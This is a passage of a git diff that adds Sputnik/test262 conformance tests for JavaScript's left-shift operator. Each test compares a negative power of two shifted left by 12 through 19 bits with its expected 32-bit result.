+if (-2147483648 << 12 !== 0) {
+ $ERROR('#416: -2147483648 << 12 === 0. Actual: ' + (-2147483648 << 12));
+}
+
+
+if (-1 << 13 !== -8192) {
+ $ERROR('#417: -1 << 13 === -8192. Actual: ' + (-1 << 13));
+}
+
+
+if (-2 << 13 !== -16384) {
+ $ERROR('#418: -2 << 13 === -16384. Actual: ' + (-2 << 13));
+}
+
+
+if (-4 << 13 !== -32768) {
+ $ERROR('#419: -4 << 13 === -32768. Actual: ' + (-4 << 13));
+}
+
+
+if (-8 << 13 !== -65536) {
+ $ERROR('#420: -8 << 13 === -65536. Actual: ' + (-8 << 13));
+}
+
+
+if (-16 << 13 !== -131072) {
+ $ERROR('#421: -16 << 13 === -131072. Actual: ' + (-16 << 13));
+}
+
+
+if (-32 << 13 !== -262144) {
+ $ERROR('#422: -32 << 13 === -262144. Actual: ' + (-32 << 13));
+}
+
+
+if (-64 << 13 !== -524288) {
+ $ERROR('#423: -64 << 13 === -524288. Actual: ' + (-64 << 13));
+}
+
+
+if (-128 << 13 !== -1048576) {
+ $ERROR('#424: -128 << 13 === -1048576. Actual: ' + (-128 << 13));
+}
+
+
+if (-256 << 13 !== -2097152) {
+ $ERROR('#425: -256 << 13 === -2097152. Actual: ' + (-256 << 13));
+}
+
+
+if (-512 << 13 !== -4194304) {
+ $ERROR('#426: -512 << 13 === -4194304. Actual: ' + (-512 << 13));
+}
+
+
+if (-1024 << 13 !== -8388608) {
+ $ERROR('#427: -1024 << 13 === -8388608. Actual: ' + (-1024 << 13));
+}
+
+
+if (-2048 << 13 !== -16777216) {
+ $ERROR('#428: -2048 << 13 === -16777216. Actual: ' + (-2048 << 13));
+}
+
+
+if (-4096 << 13 !== -33554432) {
+ $ERROR('#429: -4096 << 13 === -33554432. Actual: ' + (-4096 << 13));
+}
+
+
+if (-8192 << 13 !== -67108864) {
+ $ERROR('#430: -8192 << 13 === -67108864. Actual: ' + (-8192 << 13));
+}
+
+
+if (-16384 << 13 !== -134217728) {
+ $ERROR('#431: -16384 << 13 === -134217728. Actual: ' + (-16384 << 13));
+}
+
+
+if (-32768 << 13 !== -268435456) {
+ $ERROR('#432: -32768 << 13 === -268435456. Actual: ' + (-32768 << 13));
+}
+
+
+if (-65536 << 13 !== -536870912) {
+ $ERROR('#433: -65536 << 13 === -536870912. Actual: ' + (-65536 << 13));
+}
+
+
+if (-131072 << 13 !== -1073741824) {
+ $ERROR('#434: -131072 << 13 === -1073741824. Actual: ' + (-131072 << 13));
+}
+
+
+if (-262144 << 13 !== -2147483648) {
+ $ERROR('#435: -262144 << 13 === -2147483648. Actual: ' + (-262144 << 13));
+}
+
+
+if (-524288 << 13 !== 0) {
+ $ERROR('#436: -524288 << 13 === 0. Actual: ' + (-524288 << 13));
+}
+
+
+if (-1048576 << 13 !== 0) {
+ $ERROR('#437: -1048576 << 13 === 0. Actual: ' + (-1048576 << 13));
+}
+
+
+if (-2097152 << 13 !== 0) {
+ $ERROR('#438: -2097152 << 13 === 0. Actual: ' + (-2097152 << 13));
+}
+
+
+if (-4194304 << 13 !== 0) {
+ $ERROR('#439: -4194304 << 13 === 0. Actual: ' + (-4194304 << 13));
+}
+
+
+if (-8388608 << 13 !== 0) {
+ $ERROR('#440: -8388608 << 13 === 0. Actual: ' + (-8388608 << 13));
+}
+
+
+if (-16777216 << 13 !== 0) {
+ $ERROR('#441: -16777216 << 13 === 0. Actual: ' + (-16777216 << 13));
+}
+
+
+if (-33554432 << 13 !== 0) {
+ $ERROR('#442: -33554432 << 13 === 0. Actual: ' + (-33554432 << 13));
+}
+
+
+if (-67108864 << 13 !== 0) {
+ $ERROR('#443: -67108864 << 13 === 0. Actual: ' + (-67108864 << 13));
+}
+
+
+if (-134217728 << 13 !== 0) {
+ $ERROR('#444: -134217728 << 13 === 0. Actual: ' + (-134217728 << 13));
+}
+
+
+if (-268435456 << 13 !== 0) {
+ $ERROR('#445: -268435456 << 13 === 0. Actual: ' + (-268435456 << 13));
+}
+
+
+if (-536870912 << 13 !== 0) {
+ $ERROR('#446: -536870912 << 13 === 0. Actual: ' + (-536870912 << 13));
+}
+
+
+if (-1073741824 << 13 !== 0) {
+ $ERROR('#447: -1073741824 << 13 === 0. Actual: ' + (-1073741824 << 13));
+}
+
+
+if (-2147483648 << 13 !== 0) {
+ $ERROR('#448: -2147483648 << 13 === 0. Actual: ' + (-2147483648 << 13));
+}
+
+
+if (-1 << 14 !== -16384) {
+ $ERROR('#449: -1 << 14 === -16384. Actual: ' + (-1 << 14));
+}
+
+
+if (-2 << 14 !== -32768) {
+ $ERROR('#450: -2 << 14 === -32768. Actual: ' + (-2 << 14));
+}
+
+
+if (-4 << 14 !== -65536) {
+ $ERROR('#451: -4 << 14 === -65536. Actual: ' + (-4 << 14));
+}
+
+
+if (-8 << 14 !== -131072) {
+ $ERROR('#452: -8 << 14 === -131072. Actual: ' + (-8 << 14));
+}
+
+
+if (-16 << 14 !== -262144) {
+ $ERROR('#453: -16 << 14 === -262144. Actual: ' + (-16 << 14));
+}
+
+
+if (-32 << 14 !== -524288) {
+ $ERROR('#454: -32 << 14 === -524288. Actual: ' + (-32 << 14));
+}
+
+
+if (-64 << 14 !== -1048576) {
+ $ERROR('#455: -64 << 14 === -1048576. Actual: ' + (-64 << 14));
+}
+
+
+if (-128 << 14 !== -2097152) {
+ $ERROR('#456: -128 << 14 === -2097152. Actual: ' + (-128 << 14));
+}
+
+
+if (-256 << 14 !== -4194304) {
+ $ERROR('#457: -256 << 14 === -4194304. Actual: ' + (-256 << 14));
+}
+
+
+if (-512 << 14 !== -8388608) {
+ $ERROR('#458: -512 << 14 === -8388608. Actual: ' + (-512 << 14));
+}
+
+
+if (-1024 << 14 !== -16777216) {
+ $ERROR('#459: -1024 << 14 === -16777216. Actual: ' + (-1024 << 14));
+}
+
+
+if (-2048 << 14 !== -33554432) {
+ $ERROR('#460: -2048 << 14 === -33554432. Actual: ' + (-2048 << 14));
+}
+
+
+if (-4096 << 14 !== -67108864) {
+ $ERROR('#461: -4096 << 14 === -67108864. Actual: ' + (-4096 << 14));
+}
+
+
+if (-8192 << 14 !== -134217728) {
+ $ERROR('#462: -8192 << 14 === -134217728. Actual: ' + (-8192 << 14));
+}
+
+
+if (-16384 << 14 !== -268435456) {
+ $ERROR('#463: -16384 << 14 === -268435456. Actual: ' + (-16384 << 14));
+}
+
+
+if (-32768 << 14 !== -536870912) {
+ $ERROR('#464: -32768 << 14 === -536870912. Actual: ' + (-32768 << 14));
+}
+
+
+if (-65536 << 14 !== -1073741824) {
+ $ERROR('#465: -65536 << 14 === -1073741824. Actual: ' + (-65536 << 14));
+}
+
+
+if (-131072 << 14 !== -2147483648) {
+ $ERROR('#466: -131072 << 14 === -2147483648. Actual: ' + (-131072 << 14));
+}
+
+
+if (-262144 << 14 !== 0) {
+ $ERROR('#467: -262144 << 14 === 0. Actual: ' + (-262144 << 14));
+}
+
+
+if (-524288 << 14 !== 0) {
+ $ERROR('#468: -524288 << 14 === 0. Actual: ' + (-524288 << 14));
+}
+
+
+if (-1048576 << 14 !== 0) {
+ $ERROR('#469: -1048576 << 14 === 0. Actual: ' + (-1048576 << 14));
+}
+
+
+if (-2097152 << 14 !== 0) {
+ $ERROR('#470: -2097152 << 14 === 0. Actual: ' + (-2097152 << 14));
+}
+
+
+if (-4194304 << 14 !== 0) {
+ $ERROR('#471: -4194304 << 14 === 0. Actual: ' + (-4194304 << 14));
+}
+
+
+if (-8388608 << 14 !== 0) {
+ $ERROR('#472: -8388608 << 14 === 0. Actual: ' + (-8388608 << 14));
+}
+
+
+if (-16777216 << 14 !== 0) {
+ $ERROR('#473: -16777216 << 14 === 0. Actual: ' + (-16777216 << 14));
+}
+
+
+if (-33554432 << 14 !== 0) {
+ $ERROR('#474: -33554432 << 14 === 0. Actual: ' + (-33554432 << 14));
+}
+
+
+if (-67108864 << 14 !== 0) {
+ $ERROR('#475: -67108864 << 14 === 0. Actual: ' + (-67108864 << 14));
+}
+
+
+if (-134217728 << 14 !== 0) {
+ $ERROR('#476: -134217728 << 14 === 0. Actual: ' + (-134217728 << 14));
+}
+
+
+if (-268435456 << 14 !== 0) {
+ $ERROR('#477: -268435456 << 14 === 0. Actual: ' + (-268435456 << 14));
+}
+
+
+if (-536870912 << 14 !== 0) {
+ $ERROR('#478: -536870912 << 14 === 0. Actual: ' + (-536870912 << 14));
+}
+
+
+if (-1073741824 << 14 !== 0) {
+ $ERROR('#479: -1073741824 << 14 === 0. Actual: ' + (-1073741824 << 14));
+}
+
+
+if (-2147483648 << 14 !== 0) {
+ $ERROR('#480: -2147483648 << 14 === 0. Actual: ' + (-2147483648 << 14));
+}
+
+
+if (-1 << 15 !== -32768) {
+ $ERROR('#481: -1 << 15 === -32768. Actual: ' + (-1 << 15));
+}
+
+
+if (-2 << 15 !== -65536) {
+ $ERROR('#482: -2 << 15 === -65536. Actual: ' + (-2 << 15));
+}
+
+
+if (-4 << 15 !== -131072) {
+ $ERROR('#483: -4 << 15 === -131072. Actual: ' + (-4 << 15));
+}
+
+
+if (-8 << 15 !== -262144) {
+ $ERROR('#484: -8 << 15 === -262144. Actual: ' + (-8 << 15));
+}
+
+
+if (-16 << 15 !== -524288) {
+ $ERROR('#485: -16 << 15 === -524288. Actual: ' + (-16 << 15));
+}
+
+
+if (-32 << 15 !== -1048576) {
+ $ERROR('#486: -32 << 15 === -1048576. Actual: ' + (-32 << 15));
+}
+
+
+if (-64 << 15 !== -2097152) {
+ $ERROR('#487: -64 << 15 === -2097152. Actual: ' + (-64 << 15));
+}
+
+
+if (-128 << 15 !== -4194304) {
+ $ERROR('#488: -128 << 15 === -4194304. Actual: ' + (-128 << 15));
+}
+
+
+if (-256 << 15 !== -8388608) {
+ $ERROR('#489: -256 << 15 === -8388608. Actual: ' + (-256 << 15));
+}
+
+
+if (-512 << 15 !== -16777216) {
+ $ERROR('#490: -512 << 15 === -16777216. Actual: ' + (-512 << 15));
+}
+
+
+if (-1024 << 15 !== -33554432) {
+ $ERROR('#491: -1024 << 15 === -33554432. Actual: ' + (-1024 << 15));
+}
+
+
+if (-2048 << 15 !== -67108864) {
+ $ERROR('#492: -2048 << 15 === -67108864. Actual: ' + (-2048 << 15));
+}
+
+
+if (-4096 << 15 !== -134217728) {
+ $ERROR('#493: -4096 << 15 === -134217728. Actual: ' + (-4096 << 15));
+}
+
+
+if (-8192 << 15 !== -268435456) {
+ $ERROR('#494: -8192 << 15 === -268435456. Actual: ' + (-8192 << 15));
+}
+
+
+if (-16384 << 15 !== -536870912) {
+ $ERROR('#495: -16384 << 15 === -536870912. Actual: ' + (-16384 << 15));
+}
+
+
+if (-32768 << 15 !== -1073741824) {
+ $ERROR('#496: -32768 << 15 === -1073741824. Actual: ' + (-32768 << 15));
+}
+
+
+if (-65536 << 15 !== -2147483648) {
+ $ERROR('#497: -65536 << 15 === -2147483648. Actual: ' + (-65536 << 15));
+}
+
+
+if (-131072 << 15 !== 0) {
+ $ERROR('#498: -131072 << 15 === 0. Actual: ' + (-131072 << 15));
+}
+
+
+if (-262144 << 15 !== 0) {
+ $ERROR('#499: -262144 << 15 === 0. Actual: ' + (-262144 << 15));
+}
+
+
+if (-524288 << 15 !== 0) {
+ $ERROR('#500: -524288 << 15 === 0. Actual: ' + (-524288 << 15));
+}
+
+
+if (-1048576 << 15 !== 0) {
+ $ERROR('#501: -1048576 << 15 === 0. Actual: ' + (-1048576 << 15));
+}
+
+
+if (-2097152 << 15 !== 0) {
+ $ERROR('#502: -2097152 << 15 === 0. Actual: ' + (-2097152 << 15));
+}
+
+
+if (-4194304 << 15 !== 0) {
+ $ERROR('#503: -4194304 << 15 === 0. Actual: ' + (-4194304 << 15));
+}
+
+
+if (-8388608 << 15 !== 0) {
+ $ERROR('#504: -8388608 << 15 === 0. Actual: ' + (-8388608 << 15));
+}
+
+
+if (-16777216 << 15 !== 0) {
+ $ERROR('#505: -16777216 << 15 === 0. Actual: ' + (-16777216 << 15));
+}
+
+
+if (-33554432 << 15 !== 0) {
+ $ERROR('#506: -33554432 << 15 === 0. Actual: ' + (-33554432 << 15));
+}
+
+
+if (-67108864 << 15 !== 0) {
+ $ERROR('#507: -67108864 << 15 === 0. Actual: ' + (-67108864 << 15));
+}
+
+
+if (-134217728 << 15 !== 0) {
+ $ERROR('#508: -134217728 << 15 === 0. Actual: ' + (-134217728 << 15));
+}
+
+
+if (-268435456 << 15 !== 0) {
+ $ERROR('#509: -268435456 << 15 === 0. Actual: ' + (-268435456 << 15));
+}
+
+
+if (-536870912 << 15 !== 0) {
+ $ERROR('#510: -536870912 << 15 === 0. Actual: ' + (-536870912 << 15));
+}
+
+
+if (-1073741824 << 15 !== 0) {
+ $ERROR('#511: -1073741824 << 15 === 0. Actual: ' + (-1073741824 << 15));
+}
+
+
+if (-2147483648 << 15 !== 0) {
+ $ERROR('#512: -2147483648 << 15 === 0. Actual: ' + (-2147483648 << 15));
+}
+
diff --git a/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T2.js b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T2.js
new file mode 100644
index 000000000..0cdfbda0e
--- /dev/null
+++ b/js/src/tests/test262/ch11/11.7/11.7.1/S11.7.1_A4_T2.js
@@ -0,0 +1,2572 @@
+// Copyright 2009 the Sputnik authors. All rights reserved.
+// This code is governed by the BSD license found in the LICENSE file.
+
+/**
+ * Check operator x << y in distinct points
+ *
+ * @path ch11/11.7/11.7.1/S11.7.1_A4_T2.js
+ * @description ShiftExpression = 2^n - 1, n = 16...31
+ */
+
+//CHECK
+
+if (-1 << 16 !== -65536) {
+ $ERROR('#513: -1 << 16 === -65536. Actual: ' + (-1 << 16));
+}
+
+
+if (-2 << 16 !== -131072) {
+ $ERROR('#514: -2 << 16 === -131072. Actual: ' + (-2 << 16));
+}
+
+
+if (-4 << 16 !== -262144) {
+ $ERROR('#515: -4 << 16 === -262144. Actual: ' + (-4 << 16));
+}
+
+
+if (-8 << 16 !== -524288) {
+ $ERROR('#516: -8 << 16 === -524288. Actual: ' + (-8 << 16));
+}
+
+
+if (-16 << 16 !== -1048576) {
+ $ERROR('#517: -16 << 16 === -1048576. Actual: ' + (-16 << 16));
+}
+
+
+if (-32 << 16 !== -2097152) {
+ $ERROR('#518: -32 << 16 === -2097152. Actual: ' + (-32 << 16));
+}
+
+
+if (-64 << 16 !== -4194304) {
+ $ERROR('#519: -64 << 16 === -4194304. Actual: ' + (-64 << 16));
+}
+
+
+if (-128 << 16 !== -8388608) {
+ $ERROR('#520: -128 << 16 === -8388608. Actual: ' + (-128 << 16));
+}
+
+
+if (-256 << 16 !== -16777216) {
+ $ERROR('#521: -256 << 16 === -16777216. Actual: ' + (-256 << 16));
+}
+
+
+if (-512 << 16 !== -33554432) {
+ $ERROR('#522: -512 << 16 === -33554432. Actual: ' + (-512 << 16));
+}
+
+
+if (-1024 << 16 !== -67108864) {
+ $ERROR('#523: -1024 << 16 === -67108864. Actual: ' + (-1024 << 16));
+}
+
+
+if (-2048 << 16 !== -134217728) {
+ $ERROR('#524: -2048 << 16 === -134217728. Actual: ' + (-2048 << 16));
+}
+
+
+if (-4096 << 16 !== -268435456) {
+ $ERROR('#525: -4096 << 16 === -268435456. Actual: ' + (-4096 << 16));
+}
+
+
+if (-8192 << 16 !== -536870912) {
+ $ERROR('#526: -8192 << 16 === -536870912. Actual: ' + (-8192 << 16));
+}
+
+
+if (-16384 << 16 !== -1073741824) {
+ $ERROR('#527: -16384 << 16 === -1073741824. Actual: ' + (-16384 << 16));
+}
+
+
+if (-32768 << 16 !== -2147483648) {
+ $ERROR('#528: -32768 << 16 === -2147483648. Actual: ' + (-32768 << 16));
+}
+
+
+if (-65536 << 16 !== 0) {
+ $ERROR('#529: -65536 << 16 === 0. Actual: ' + (-65536 << 16));
+}
+
+
+if (-131072 << 16 !== 0) {
+ $ERROR('#530: -131072 << 16 === 0. Actual: ' + (-131072 << 16));
+}
+
+
+if (-262144 << 16 !== 0) {
+ $ERROR('#531: -262144 << 16 === 0. Actual: ' + (-262144 << 16));
+}
+
+
+if (-524288 << 16 !== 0) {
+ $ERROR('#532: -524288 << 16 === 0. Actual: ' + (-524288 << 16));
+}
+
+
+if (-1048576 << 16 !== 0) {
+ $ERROR('#533: -1048576 << 16 === 0. Actual: ' + (-1048576 << 16));
+}
+
+
+if (-2097152 << 16 !== 0) {
+ $ERROR('#534: -2097152 << 16 === 0. Actual: ' + (-2097152 << 16));
+}
+
+
+if (-4194304 << 16 !== 0) {
+ $ERROR('#535: -4194304 << 16 === 0. Actual: ' + (-4194304 << 16));
+}
+
+
+if (-8388608 << 16 !== 0) {
+ $ERROR('#536: -8388608 << 16 === 0. Actual: ' + (-8388608 << 16));
+}
+
+
+if (-16777216 << 16 !== 0) {
+ $ERROR('#537: -16777216 << 16 === 0. Actual: ' + (-16777216 << 16));
+}
+
+
+if (-33554432 << 16 !== 0) {
+ $ERROR('#538: -33554432 << 16 === 0. Actual: ' + (-33554432 << 16));
+}
+
+
+if (-67108864 << 16 !== 0) {
+ $ERROR('#539: -67108864 << 16 === 0. Actual: ' + (-67108864 << 16));
+}
+
+
+if (-134217728 << 16 !== 0) {
+ $ERROR('#540: -134217728 << 16 === 0. Actual: ' + (-134217728 << 16));
+}
+
+
+if (-268435456 << 16 !== 0) {
+ $ERROR('#541: -268435456 << 16 === 0. Actual: ' + (-268435456 << 16));
+}
+
+
+if (-536870912 << 16 !== 0) {
+ $ERROR('#542: -536870912 << 16 === 0. Actual: ' + (-536870912 << 16));
+}
+
+
+if (-1073741824 << 16 !== 0) {
+ $ERROR('#543: -1073741824 << 16 === 0. Actual: ' + (-1073741824 << 16));
+}
+
+
+if (-2147483648 << 16 !== 0) {
+ $ERROR('#544: -2147483648 << 16 === 0. Actual: ' + (-2147483648 << 16));
+}
+
+
+if (-1 << 17 !== -131072) {
+ $ERROR('#545: -1 << 17 === -131072. Actual: ' + (-1 << 17));
+}
+
+
+if (-2 << 17 !== -262144) {
+ $ERROR('#546: -2 << 17 === -262144. Actual: ' + (-2 << 17));
+}
+
+
+if (-4 << 17 !== -524288) {
+ $ERROR('#547: -4 << 17 === -524288. Actual: ' + (-4 << 17));
+}
+
+
+if (-8 << 17 !== -1048576) {
+ $ERROR('#548: -8 << 17 === -1048576. Actual: ' + (-8 << 17));
+}
+
+
+if (-16 << 17 !== -2097152) {
+ $ERROR('#549: -16 << 17 === -2097152. Actual: ' + (-16 << 17));
+}
+
+
+if (-32 << 17 !== -4194304) {
+ $ERROR('#550: -32 << 17 === -4194304. Actual: ' + (-32 << 17));
+}
+
+
+if (-64 << 17 !== -8388608) {
+ $ERROR('#551: -64 << 17 === -8388608. Actual: ' + (-64 << 17));
+}
+
+
+if (-128 << 17 !== -16777216) {
+ $ERROR('#552: -128 << 17 === -16777216. Actual: ' + (-128 << 17));
+}
+
+
+if (-256 << 17 !== -33554432) {
+ $ERROR('#553: -256 << 17 === -33554432. Actual: ' + (-256 << 17));
+}
+
+
+if (-512 << 17 !== -67108864) {
+ $ERROR('#554: -512 << 17 === -67108864. Actual: ' + (-512 << 17));
+}
+
+
+if (-1024 << 17 !== -134217728) {
+ $ERROR('#555: -1024 << 17 === -134217728. Actual: ' + (-1024 << 17));
+}
+
+
+if (-2048 << 17 !== -268435456) {
+ $ERROR('#556: -2048 << 17 === -268435456. Actual: ' + (-2048 << 17));
+}
+
+
+if (-4096 << 17 !== -536870912) {
+ $ERROR('#557: -4096 << 17 === -536870912. Actual: ' + (-4096 << 17));
+}
+
+
+if (-8192 << 17 !== -1073741824) {
+ $ERROR('#558: -8192 << 17 === -1073741824. Actual: ' + (-8192 << 17));
+}
+
+
+if (-16384 << 17 !== -2147483648) {
+ $ERROR('#559: -16384 << 17 === -2147483648. Actual: ' + (-16384 << 17));
+}
+
+
+if (-32768 << 17 !== 0) {
+ $ERROR('#560: -32768 << 17 === 0. Actual: ' + (-32768 << 17));
+}
+
+
+if (-65536 << 17 !== 0) {
+ $ERROR('#561: -65536 << 17 === 0. Actual: ' + (-65536 << 17));
+}
+
+
+if (-131072 << 17 !== 0) {
+ $ERROR('#562: -131072 << 17 === 0. Actual: ' + (-131072 << 17));
+}
+
+
+if (-262144 << 17 !== 0) {
+ $ERROR('#563: -262144 << 17 === 0. Actual: ' + (-262144 << 17));
+}
+
+
+if (-524288 << 17 !== 0) {
+ $ERROR('#564: -524288 << 17 === 0. Actual: ' + (-524288 << 17));
+}
+
+
+if (-1048576 << 17 !== 0) {
+ $ERROR('#565: -1048576 << 17 === 0. Actual: ' + (-1048576 << 17));
+}
+
+
+if (-2097152 << 17 !== 0) {
+ $ERROR('#566: -2097152 << 17 === 0. Actual: ' + (-2097152 << 17));
+}
+
+
+if (-4194304 << 17 !== 0) {
+ $ERROR('#567: -4194304 << 17 === 0. Actual: ' + (-4194304 << 17));
+}
+
+
+if (-8388608 << 17 !== 0) {
+ $ERROR('#568: -8388608 << 17 === 0. Actual: ' + (-8388608 << 17));
+}
+
+
+if (-16777216 << 17 !== 0) {
+ $ERROR('#569: -16777216 << 17 === 0. Actual: ' + (-16777216 << 17));
+}
+
+
+if (-33554432 << 17 !== 0) {
+ $ERROR('#570: -33554432 << 17 === 0. Actual: ' + (-33554432 << 17));
+}
+
+
+if (-67108864 << 17 !== 0) {
+ $ERROR('#571: -67108864 << 17 === 0. Actual: ' + (-67108864 << 17));
+}
+
+
+if (-134217728 << 17 !== 0) {
+ $ERROR('#572: -134217728 << 17 === 0. Actual: ' + (-134217728 << 17));
+}
+
+
+if (-268435456 << 17 !== 0) {
+ $ERROR('#573: -268435456 << 17 === 0. Actual: ' + (-268435456 << 17));
+}
+
+
+if (-536870912 << 17 !== 0) {
+ $ERROR('#574: -536870912 << 17 === 0. Actual: ' + (-536870912 << 17));
+}
+
+
+if (-1073741824 << 17 !== 0) {
+ $ERROR('#575: -1073741824 << 17 === 0. Actual: ' + (-1073741824 << 17));
+}
+
+
+if (-2147483648 << 17 !== 0) {
+ $ERROR('#576: -2147483648 << 17 === 0. Actual: ' + (-2147483648 << 17));
+}
+
+
+if (-1 << 18 !== -262144) {
+ $ERROR('#577: -1 << 18 === -262144. Actual: ' + (-1 << 18));
+}
+
+
+if (-2 << 18 !== -524288) {
+ $ERROR('#578: -2 << 18 === -524288. Actual: ' + (-2 << 18));
+}
+
+
+if (-4 << 18 !== -1048576) {
+ $ERROR('#579: -4 << 18 === -1048576. Actual: ' + (-4 << 18));
+}
+
+
+if (-8 << 18 !== -2097152) {
+ $ERROR('#580: -8 << 18 === -2097152. Actual: ' + (-8 << 18));
+}
+
+
+if (-16 << 18 !== -4194304) {
+ $ERROR('#581: -16 << 18 === -4194304. Actual: ' + (-16 << 18));
+}
+
+
+if (-32 << 18 !== -8388608) {
+ $ERROR('#582: -32 << 18 === -8388608. Actual: ' + (-32 << 18));
+}
+
+
+if (-64 << 18 !== -16777216) {
+ $ERROR('#583: -64 << 18 === -16777216. Actual: ' + (-64 << 18));
+}
+
+
+if (-128 << 18 !== -33554432) {
+ $ERROR('#584: -128 << 18 === -33554432. Actual: ' + (-128 << 18));
+}
+
+
+if (-256 << 18 !== -67108864) {
+ $ERROR('#585: -256 << 18 === -67108864. Actual: ' + (-256 << 18));
+}
+
+
+if (-512 << 18 !== -134217728) {
+ $ERROR('#586: -512 << 18 === -134217728. Actual: ' + (-512 << 18));
+}
+
+
+if (-1024 << 18 !== -268435456) {
+ $ERROR('#587: -1024 << 18 === -268435456. Actual: ' + (-1024 << 18));
+}
+
+
+if (-2048 << 18 !== -536870912) {
+ $ERROR('#588: -2048 << 18 === -536870912. Actual: ' + (-2048 << 18));
+}
+
+
+if (-4096 << 18 !== -1073741824) {
+ $ERROR('#589: -4096 << 18 === -1073741824. Actual: ' + (-4096 << 18));
+}
+
+
+if (-8192 << 18 !== -2147483648) {
+ $ERROR('#590: -8192 << 18 === -2147483648. Actual: ' + (-8192 << 18));
+}
+
+
+if (-16384 << 18 !== 0) {
+ $ERROR('#591: -16384 << 18 === 0. Actual: ' + (-16384 << 18));
+}
+
+
+if (-32768 << 18 !== 0) {
+ $ERROR('#592: -32768 << 18 === 0. Actual: ' + (-32768 << 18));
+}
+
+
+if (-65536 << 18 !== 0) {
+ $ERROR('#593: -65536 << 18 === 0. Actual: ' + (-65536 << 18));
+}
+
+
+if (-131072 << 18 !== 0) {
+ $ERROR('#594: -131072 << 18 === 0. Actual: ' + (-131072 << 18));
+}
+
+
+if (-262144 << 18 !== 0) {
+ $ERROR('#595: -262144 << 18 === 0. Actual: ' + (-262144 << 18));
+}
+
+
+if (-524288 << 18 !== 0) {
+ $ERROR('#596: -524288 << 18 === 0. Actual: ' + (-524288 << 18));
+}
+
+
+if (-1048576 << 18 !== 0) {
+ $ERROR('#597: -1048576 << 18 === 0. Actual: ' + (-1048576 << 18));
+}
+
+
+if (-2097152 << 18 !== 0) {
+ $ERROR('#598: -2097152 << 18 === 0. Actual: ' + (-2097152 << 18));
+}
+
+
+if (-4194304 << 18 !== 0) {
+ $ERROR('#599: -4194304 << 18 === 0. Actual: ' + (-4194304 << 18));
+}
+
+
+if (-8388608 << 18 !== 0) {
+ $ERROR('#600: -8388608 << 18 === 0. Actual: ' + (-8388608 << 18));
+}
+
+
+if (-16777216 << 18 !== 0) {
+ $ERROR('#601: -16777216 << 18 === 0. Actual: ' + (-16777216 << 18));
+}
+
+
+if (-33554432 << 18 !== 0) {
+ $ERROR('#602: -33554432 << 18 === 0. Actual: ' + (-33554432 << 18));
+}
+
+
+if (-67108864 << 18 !== 0) {
+ $ERROR('#603: -67108864 << 18 === 0. Actual: ' + (-67108864 << 18));
+}
+
+
+if (-134217728 << 18 !== 0) {
+ $ERROR('#604: -134217728 << 18 === 0. Actual: ' + (-134217728 << 18));
+}
+
+
+if (-268435456 << 18 !== 0) {
+ $ERROR('#605: -268435456 << 18 === 0. Actual: ' + (-268435456 << 18));
+}
+
+
+if (-536870912 << 18 !== 0) {
+ $ERROR('#606: -536870912 << 18 === 0. Actual: ' + (-536870912 << 18));
+}
+
+
+if (-1073741824 << 18 !== 0) {
+ $ERROR('#607: -1073741824 << 18 === 0. Actual: ' + (-1073741824 << 18));
+}
+
+
+if (-2147483648 << 18 !== 0) {
+ $ERROR('#608: -2147483648 << 18 === 0. Actual: ' + (-2147483648 << 18));
+}
+
+
+if (-1 << 19 !== -524288) {
+ $ERROR('#609: -1 << 19 === -524288. Actual: ' + (-1 << 19));
+}
+
+
+if (-2 << 19 !== -1048576) {
+ $ERROR('#610: -2 << 19 === -1048576. Actual: ' + (-2 << 19));
+}
+
+
+if (-4 << 19 !== -2097152) {
+ $ERROR('#611: -4 << 19 === -2097152. Actual: ' + (-4 << 19));
+}
+
+
+if (-8 << 19 !== -4194304) {
+ $ERROR('#612: -8 << 19 === -4194304. Actual: ' + (-8 << 19));
+}
+
+
+if (-16 << 19 !== -8388608) {
+ $ERROR('#613: -16 << 19 === -8388608. Actual: ' + (-16 << 19));
+}
+
+
+if (-32 << 19 !== -16777216) {
+ $ERROR('#614: -32 << 19 === -16777216. Actual: ' + (-32 << 19));
+}
+
+
+if (-64 << 19 !== -33554432) {
+ $ERROR('#615: -64 << 19 === -33554432. Actual: ' + (-64 << 19));
+}
+
+
+if (-128 << 19 !== -67108864) {
+ $ERROR('#616: -128 << 19 === -67108864. Actual: ' + (-128 << 19));
+}
+
+
+if (-256 << 19 !== -134217728) {
+ $ERROR('#617: -256 << 19 === -134217728. Actual: ' + (-256 << 19));
+}
+
+
+if (-512 << 19 !== -268435456) {
+ $ERROR('#618: -512 << 19 === -268435456. Actual: ' + (-512 << 19));
+}
+
+
+if (-1024 << 19 !== -536870912) {
+ $ERROR('#619: -1024 << 19 === -536870912. Actual: ' + (-1024 << 19));
+}
+
+
+if (-2048 << 19 !== -1073741824) {
+ $ERROR('#620: -2048 << 19 === -1073741824. Actual: ' + (-2048 << 19));
+}
+
+
+if (-4096 << 19 !== -2147483648) {
+ $ERROR('#621: -4096 << 19 === -2147483648. Actual: ' + (-4096 << 19));
+}
+
+
+if (-8192 << 19 !== 0) {
+ $ERROR('#622: -8192 << 19 === 0. Actual: ' + (-8192 << 19));
+}
+
+
+if (-16384 << 19 !== 0) {
+ $ERROR('#623: -16384 << 19 === 0. Actual: ' + (-16384 << 19));
+}
+
+
+if (-32768 << 19 !== 0) {
+ $ERROR('#624: -32768 << 19 === 0. Actual: ' + (-32768 << 19));
+}
+
+
+if (-65536 << 19 !== 0) {
+ $ERROR('#625: -65536 << 19 === 0. Actual: ' + (-65536 << 19));
+}
+
+
+if (-131072 << 19 !== 0) {
+ $ERROR('#626: -131072 << 19 === 0. Actual: ' + (-131072 << 19));
+}
+
+
+if (-262144 << 19 !== 0) {
+ $ERROR('#627: -262144 << 19 === 0. Actual: ' + (-262144 << 19));
+}
+
+
+if (-524288 << 19 !== 0) {
+ $ERROR('#628: -524288 << 19 === 0. Actual: ' + (-524288 << 19));
+}
+
+
+if (-1048576 << 19 !== 0) {
+ $ERROR('#629: -1048576 << 19 === 0. Actual: ' + (-1048576 << 19));
+}
+
+
+if (-2097152 << 19 !== 0) {
+ $ERROR('#630: -2097152 << 19 === 0. Actual: ' + (-2097152 << 19));
+}
+
+
+if (-4194304 << 19 !== 0) {
+ $ERROR('#631: -4194304 << 19 === 0. Actual: ' + (-4194304 << 19));
+}
+
+
+if (-8388608 << 19 !== 0) {
+ $ERROR('#632: -8388608 << 19 === 0. Actual: ' + (-8388608 << 19));
+}
+
+
+if (-16777216 << 19 !== 0) {
+ $ERROR('#633: -16777216 << 19 === 0. Actual: ' + (-16777216 << 19));
+}
+
+
